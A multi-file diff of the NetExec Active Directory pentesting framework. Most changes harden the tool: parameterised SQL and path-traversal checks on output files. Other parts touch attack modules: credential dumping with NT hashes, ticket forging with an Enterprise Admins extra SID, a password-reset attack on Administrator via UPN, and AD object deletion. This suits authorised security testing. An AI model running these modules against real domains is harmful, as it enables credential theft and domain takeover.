context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
return False
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
@@ -236,7 +236,7 @@ class NXCModule:
for user in compromised_users:
for pc in admin_access:
if user[0] in pc[1]:
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
more_to_dump = cursor.fetchall()
if len(more_to_dump) > 0:
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
@@ -247,7 +247,7 @@ class NXCModule:
connection.nthash = user[1]
try:
self.run_lsassy(context, connection, cursor)
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
process_creds(
context,
+3 -2
View File
@@ -4,6 +4,7 @@ import os
from pathlib import Path
import re
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -139,8 +140,8 @@ class NXCModule:
context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
if self.save and all_results:
filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json"
file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve()
filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json")
file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve()
os.makedirs(file_path.parent, exist_ok=True)
with open(file_path, "w") as f:
json.dump(all_results, f, indent=2)
+2 -1
View File
@@ -10,6 +10,7 @@ import tempfile
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
@@ -158,7 +159,7 @@ class NXCModule:
return
else:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"))
if self.context.protocol == "smb":
with open(filename, "wb+") as dump_file:
try:
+8 -3
View File
@@ -1,7 +1,9 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -36,9 +38,12 @@ class NXCModule:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt")
export_path = join(NXC_PATH, "modules", "notepad++")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
+8 -3
View File
@@ -1,9 +1,11 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
import re
import time
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from impacket.smbconnection import SessionError
@@ -161,9 +163,12 @@ class NXCModule:
content_lines.append(string) # Store the string value only
# Save to file
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt")
export_path = join(NXC_PATH, "modules", "notepad")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
with open(path, "w+") as output_file:
+3 -1
View File
@@ -1,7 +1,9 @@
#!/usr/bin/env python3
from datetime import datetime, timedelta
from os.path import join
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import socket
@@ -71,7 +73,7 @@ class NXCModule:
if answers:
obsolete_hosts_count = len(answers)
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt"))
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
with open(filename, "w") as f:
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
+8 -3
View File
@@ -1,6 +1,8 @@
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from io import BytesIO
@@ -46,9 +48,12 @@ class NXCModule:
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt")
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
+7 -2
View File
@@ -1,9 +1,11 @@
import os
from pathlib import Path
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
@@ -54,7 +56,7 @@ class NXCModule:
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain))
output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
@@ -137,7 +139,10 @@ class NXCModule:
try:
ccache = CCache()
ccache.fromTGT(ticket, sessionKey, sessionKey)
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve()
if Path(ccache_base_dir).resolve() not in ccache_filename.parents:
context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping")
return
ccache.saveFile(ccache_filename)
context.log.info(f"Saved ticket in {ccache_filename}")
except Exception as e:
+6 -1
View File
@@ -6,8 +6,10 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from pathlib import Path
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import re
@@ -160,7 +162,10 @@ class NXCModule:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve()
if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents:
self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping")
continue
buf = BytesIO()
with open(download_path, "wb") as file:
+5 -5
View File
@@ -49,7 +49,7 @@ class NXCModule:
self.krbtgt_hash = ""
self.aes128_key = ""
self.aes256_key = ""
self.etype = "rc4"
self.etype = "aes256"
def options(self, context, module_options):
"""
@@ -59,7 +59,7 @@ class NXCModule:
USER Target username to forge the ticket for (default: Administrator)
USER_ID RID used as the user ID in the PAC (default: 500)
RID RID used for the extra SID (default: 519 = Enterprise Admins)
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256)
Examples:
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
@@ -69,7 +69,7 @@ class NXCModule:
"""
self.context = context
self.module_options = module_options
self.etype = module_options.get("ETYPE", "rc4").lower()
self.etype = module_options.get("ETYPE", "aes256").lower()
def on_admin_login(self, context, connection):
self.context = context
@@ -300,7 +300,7 @@ class NXCModule:
def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
kerbdata = KERB_VALIDATION_INFO()
now_utc = datetime.datetime.now(datetime.timezone.utc)
now_utc = datetime.datetime.now(datetime.UTC)
now_unix = timegm(now_utc.timetuple())
now_filetime = self._getFileTime(now_unix)
@@ -451,7 +451,7 @@ class NXCModule:
pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
now_utc = datetime.datetime.now(datetime.timezone.utc)
now_utc = datetime.datetime.now(datetime.UTC)
end_utc = now_utc + datetime.timedelta(hours=duration_hours)
enc_ticket_part = EncTicketPart()
+2 -2
View File
@@ -1,5 +1,5 @@
import base64
from Crypto.Cipher import AES
from Cryptodome.Cipher import AES
from io import BytesIO
from nxc.helpers.misc import CATEGORY
@@ -83,6 +83,6 @@ class NXCModule:
return crypter.decrypt(buf).decode("utf-8")
def base64_urlsafedecode(self, string):
padding = 4 - (len(string) % 4)
padding = (4 - len(string) % 4) % 4
string += "=" * padding
return base64.urlsafe_b64decode(string)
+2 -2
View File
@@ -1,6 +1,6 @@
from sys import exit
from nxc.connection import dcom_FirewallChecker
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import CATEGORY
from impacket.dcerpc.v5 import rrp
@@ -248,7 +248,7 @@ class RdpWmi:
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout, self.logger)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
+8 -3
View File
@@ -1,7 +1,9 @@
from os import makedirs
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from os.path import join, abspath
from os.path import join
from pathlib import Path
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from impacket.examples.secretsdump import RemoteOperations
@@ -73,8 +75,11 @@ class NXCModule:
# Formatting the destination filename
file_path = path.split("$")[-1].replace("/", "_")
filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
dest_path = abspath(join(export_path, filename))
filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}")
dest_path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in dest_path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
try:
with open(dest_path, "wb+") as file:
connection.conn.getFile("C$", path, file.write)
+9 -6
View File
@@ -1,4 +1,3 @@
import sys
from impacket.krb5 import constants
from impacket.krb5.types import Principal
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
@@ -26,6 +25,7 @@ class NXCModule:
self.new_password = None
self.upn_user = None
self.upn_password = None
self.upn_nthash = None
def options(self, context, module_options):
"""
@@ -36,19 +36,22 @@ class NXCModule:
NEW_PASSWORD New password to set on TARGET
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
UPN_PASSWORD Cleartext password of UPN_USER
UPN_NTHASH NT Hash of UPN_USER
Examples:
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
"""
self.target = module_options.get("TARGET")
self.new_password = module_options.get("NEW_PASSWORD")
self.upn_user = module_options.get("UPN_USER")
self.upn_password = module_options.get("UPN_PASSWORD")
self.upn_password = module_options.get("UPN_PASSWORD", "")
self.upn_nthash = module_options.get("UPN_NTHASH", "")
if not all([self.target, self.new_password, self.upn_user, self.upn_password]):
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and UPN_PASSWORD are all required")
sys.exit(1)
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
return False
def resolve_account(self, sam):
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
@@ -85,7 +88,7 @@ class NXCModule:
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
kdc = self.connection.kdcHost or self.connection.host
try:
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
except (KerberosError, OSError) as e:
self.context.log.fail(f"Failed to request change-password TGT: {e}")
return None
+6 -6
View File
@@ -1,8 +1,9 @@
import ntpath
import os
from os.path import join, getsize, exists
from pathlib import PurePosixPath
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -85,11 +86,10 @@ class NXCModule:
continue
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
# replace \\ with underscores and ignore absolute path or path traversal attempts
clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/"))
clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/"))
local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}")
local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve()
if Path(user_output_dir).resolve() not in local_file_path.parents:
context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping")
continue
context.log.debug(f"{local_file_path=}")
try:
+17 -14
View File
@@ -2,9 +2,10 @@ import json
import errno
from os.path import abspath, join, exists, splitext, getsize
from os import makedirs, remove, stat
from pathlib import Path, PurePosixPath
from pathlib import Path
import time
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
@@ -172,13 +173,13 @@ class SMBSpiderPlus:
def get_file_save_path(self, remote_file):
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120)
Sanitizes each local path component and verifies containment in the output folder.
"""
self.logger.debug(f"Remote file: {remote_file}")
raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/"))
self.logger.debug(f"Raw path: {remote_file}")
clean_parts = [p for p in raw_path.parts if p not in ("..", ".")]
resolved = Path(self.output_folder).joinpath(self.host, *clean_parts)
clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part]
resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve()
if Path(self.output_folder).resolve() not in resolved.parents:
raise ValueError(f"Path traversal detected in {remote_file!s}")
self.logger.debug(f"Resolved path: {resolved}")
return str(resolved.parent), resolved.name
@@ -308,7 +309,12 @@ class SMBSpiderPlus:
return
# Check if the file is already downloaded and up-to-date.
file_dir, file_name = self.get_file_save_path(remote_file)
try:
file_dir, file_name = self.get_file_save_path(remote_file)
except ValueError as e:
self.logger.fail(str(e))
self.stats["num_get_fail"] += 1
return
download_path = join(file_dir, file_name)
needs_update_flag = False
if exists(download_path):
@@ -324,7 +330,7 @@ class SMBSpiderPlus:
try:
self.logger.info(f'Downloading file "{file_path}" => "{download_path}".')
remote_file.open_file()
self.save_file(remote_file, share_name)
self.save_file(remote_file, share_name, download_path)
remote_file.close()
download_success = True
except SessionError as e:
@@ -341,7 +347,7 @@ class SMBSpiderPlus:
else:
self.stats["num_get_fail"] += 1
def save_file(self, remote_file, share_name):
def save_file(self, remote_file, share_name, download_path):
"""Reads the `remote_file` in chunks using the `read_chunk` method.
Each chunk is then written to the local file until the entire file is saved.
@@ -350,12 +356,9 @@ class SMBSpiderPlus:
# Reset the remote_file to point to the beginning of the file.
remote_file.seek(0, 0)
folder, filename = self.get_file_save_path(remote_file)
download_path = join(folder, filename)
# Create the subdirectories based on the share name and file path.
self.logger.debug(f"Creating folder '{folder}'")
make_dirs(folder)
self.logger.debug(f"Creating folder '{Path(download_path).parent}'")
make_dirs(Path(download_path).parent)
try:
with open(download_path, "wb") as fd:
+134
View File
@@ -0,0 +1,134 @@
from impacket.ldap.ldap import LDAPSessionError, MODIFY_DELETE, MODIFY_REPLACE
from impacket.ldap.ldapasn1 import Control, SimplePagedResultsControl
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""Module by Fabrizzio: @Fabrizzio53"""
name = "tombstone"
description = "Query, restore and delete AD objects"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
ACTION Specify the action to execute: query, restore or delete. Default is query.
ID The id of which object you want to restore.
DN The DN of which object you want to delete.
Usage:
nxc ldap $DC-IP -u Username -p Password -M tombstone
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local"
"""
self.action = module_options.get("ACTION", "query").lower()
self.id = module_options.get("ID", "")
self.delete_dn = module_options.get("DN", "")
if self.action == "restore" and not self.id:
context.log.fail("ID is necessary when calling tombstone with the restore action")
return False
if self.action == "delete" and not self.delete_dn:
context.log.fail("DN is necessary when calling tombstone with the delete action")
return False
def on_login(self, context, connection):
if self.action == "query":
self.query_deleted_objects(context, connection)
elif self.action == "delete":
self.delete_object(context, connection)
elif self.action == "restore":
self.restore_deleted_object(context, connection)
else:
context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)')
def show_deleted_control(self):
return Control().setComponents("1.2.840.113556.1.4.417", True)
def search_deleted_objects(self, connection):
return parse_result_attributes(
connection.search(
baseDN=f"CN=Deleted Objects,{connection.baseDN}",
searchFilter="(isDeleted=TRUE)",
attributes=[],
searchControls=[self.show_deleted_control(), SimplePagedResultsControl(criticality=True, size=1000)],
)
)
def restore_deleted_object(self, context, connection):
object_dn = ""
original_dn = ""
context.log.highlight(f"Trying to find object with given id {self.id}")
context.log.debug("Search Filter=(isDeleted=TRUE)")
context.log.highlight("")
for entries in self.search_deleted_objects(connection):
if entries.get("distinguishedName", "").casefold() == f"CN=Deleted Objects,{connection.baseDN}".casefold():
continue
if self.id.casefold() == entries.get("name", "").rsplit(":", 1)[-1].casefold():
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
context.log.highlight("")
object_dn = entries.get("distinguishedName", "")
original_dn = object_dn.rsplit("\\0ADEL:", 1)[0] + "," + entries.get("lastKnownParent", "")
break
if not original_dn:
context.log.fail(f"The object was not found with id {self.id}.")
return False
try:
connection.ldap_connection.modify(dn=object_dn, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [original_dn])]}, controls=[self.show_deleted_control()])
context.log.highlight(f"Success {original_dn} restored")
except LDAPSessionError as e:
context.log.fail(f"Error at trying to recover the object {e}")
return False
def delete_object(self, context, connection):
context.log.highlight(f"Trying to delete {self.delete_dn}")
try:
connection.ldap_connection.delete(dn=self.delete_dn)
context.log.highlight("")
context.log.highlight(f'Success, "{self.delete_dn}" deleted')
except LDAPSessionError as e:
context.log.highlight("")
context.log.fail(f'Error when trying to delete "{self.delete_dn}" {e}')
def query_deleted_objects(self, context, connection):
context.log.debug("Search Filter=(isDeleted=TRUE)")
resp_parsed = self.search_deleted_objects(connection)
if not resp_parsed:
context.log.highlight("Could not find the Deleted Objects container, AD recycle bin might not be active")
return False
resp_parsed = [entries for entries in resp_parsed if entries.get("distinguishedName", "").casefold() != f"CN=Deleted Objects,{connection.baseDN}".casefold()]
if not resp_parsed:
context.log.highlight("No objects are in a tombstone state")
return False
context.log.highlight("")
for entries in resp_parsed:
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
context.log.highlight("")
context.log.highlight(f"Found {len(resp_parsed)} deleted objects")
+2 -1
View File
@@ -3,6 +3,7 @@ from datetime import datetime
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -91,7 +92,7 @@ class NXCModule:
def create_log_file(self, host, time):
"""Create a log file for dumping user descriptions."""
logfile = f"UserDesc-{host}-{time}.log"
logfile = sanitize_path_component(f"UserDesc-{host}-{time}.log")
logfile = Path(NXC_PATH).joinpath(logfile)
self.context.log.info(f"Creating log file '{logfile}'")
+5 -1
View File
@@ -104,6 +104,10 @@ def main():
nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
exit(1)
if args.protocol == "ldap" and args.schannel and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
nxc_logger.fail("--schannel requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
exit(1)
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
nxc_logger.error("KRB5CCNAME environment variable is not set")
exit(1)
@@ -197,7 +201,7 @@ def main():
proto_module_paths.append(modules[m]["path"])
protocol_object.module_paths = proto_module_paths
if args.protocol == "rdp" and args.execute:
if args.protocol == "rdp" and (args.execute or args.ps_execute):
ans = input(highlight("[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] ", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
+14 -29
View File
@@ -40,6 +40,17 @@ def write_csv(filename, headers, entries):
csv_file.writerow(entry)
def host_csv_headers(hosts_table, mode="simple"):
"""Return the CSV header for a hosts export, taken from the protocol's own HostsTable.
"simple" keeps the first 8 columns, the historical width of the SMB export, "detailed" returns them all.
"""
columns = tuple(col.name for col in hosts_table.columns)
if mode == "detailed":
return columns
return columns[:8]
def write_list(filename, entries):
"""Writes a file with a simple list"""
with open(os.path.expanduser(filename), "w") as export_file:
@@ -169,39 +180,13 @@ class DatabaseNavigator(cmd.Cmd):
print("[-] invalid arguments, export hosts <simple|detailed|signing> <filename>")
return
csv_header_simple = (
"id",
"ip",
"hostname",
"domain",
"os",
"dc",
"smbv1",
"signing",
)
csv_header_detailed = (
"id",
"ip",
"hostname",
"domain",
"os",
"dc",
"smbv1",
"signing",
"spooler",
"zerologon",
"petitpotam",
)
filename = line[2]
if line[1].lower() == "simple":
hosts = self.db.get_hosts()
simple_hosts = [host[:8] for host in hosts]
write_csv(filename, csv_header_simple, simple_hosts)
# TODO: maybe add more detail like who is an admin on it, shares discovered, etc
csv_header = host_csv_headers(self.db.HostsTable, "simple")
write_csv(filename, csv_header, [host[: len(csv_header)] for host in self.db.get_hosts()])
elif line[1].lower() == "detailed":
hosts = self.db.get_hosts()
write_csv(filename, csv_header_detailed, hosts)
write_csv(filename, host_csv_headers(self.db.HostsTable, "detailed"), self.db.get_hosts())
elif line[1].lower() == "signing":
hosts = self.db.get_hosts("signing")
signing_hosts = [host[1] for host in hosts]
+72 -43
View File
@@ -41,7 +41,8 @@ from impacket.ntlm import getNTLMSSPType1
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
from nxc.helpers.pfx import certificate_options
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument, sanitize_dns
from nxc.logger import NXCAdapter
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
@@ -65,6 +66,9 @@ ldap_error_status = {
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
}
# LDAP authenticationChoice sent to the DC, as displayed to the operator
auth_methods = {"sasl": "NTLM", "simple": "SIMPLE bind", "external": "Schannel"}
class ldap(connection):
def __init__(self, args, db, host):
@@ -133,18 +137,12 @@ class ldap(connection):
return True
def get_ldap_username(self):
extended_request = ldapasn1_impacket.ExtendedRequest()
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
response = self.ldap_connection.sendReceive(extended_request)
for message in response:
search_result = message["protocolOp"].getComponent()
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
response_value = search_result["responseValue"]
if response_value.hasValue():
value = response_value.asOctets().decode(response_value.encoding)[2:]
return value.split("\\")[1]
return ""
try:
# impacket returns the raw RFC 4532 identity, "u:DOMAIN\user" on a DC
return self.ldap_connection.whoami().split("\\")[-1]
except ldap_impacket.LDAPSessionError as e:
self.logger.debug(f"LDAP whoami request failed: {e}")
return ""
def check_ldap_signing(self):
self.signing_required = None
@@ -160,6 +158,8 @@ class ldap(connection):
self.signing_required = True
else:
self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
except OSError as e:
self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}")
def check_ldaps_cbt(self):
self.cbt_status = "Never"
@@ -224,13 +224,13 @@ class ldap(connection):
except Exception as e:
self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}")
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
self.target = target
self.targetDomain = target_domain
self.target = sanitize_dns(target or self.host, self.logger)
self.targetDomain = sanitize_dns(target_domain or (target.split(".", 1)[1] if "." in target else target), self.logger)
self.baseDN = base_dn
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
# Parse hostname and remoteName
self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger)
self.remoteName = self.target
# Parse NTLM challenge
@@ -341,7 +341,7 @@ class ldap(connection):
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using Kerberos")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
@@ -400,7 +400,7 @@ class ldap(connection):
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
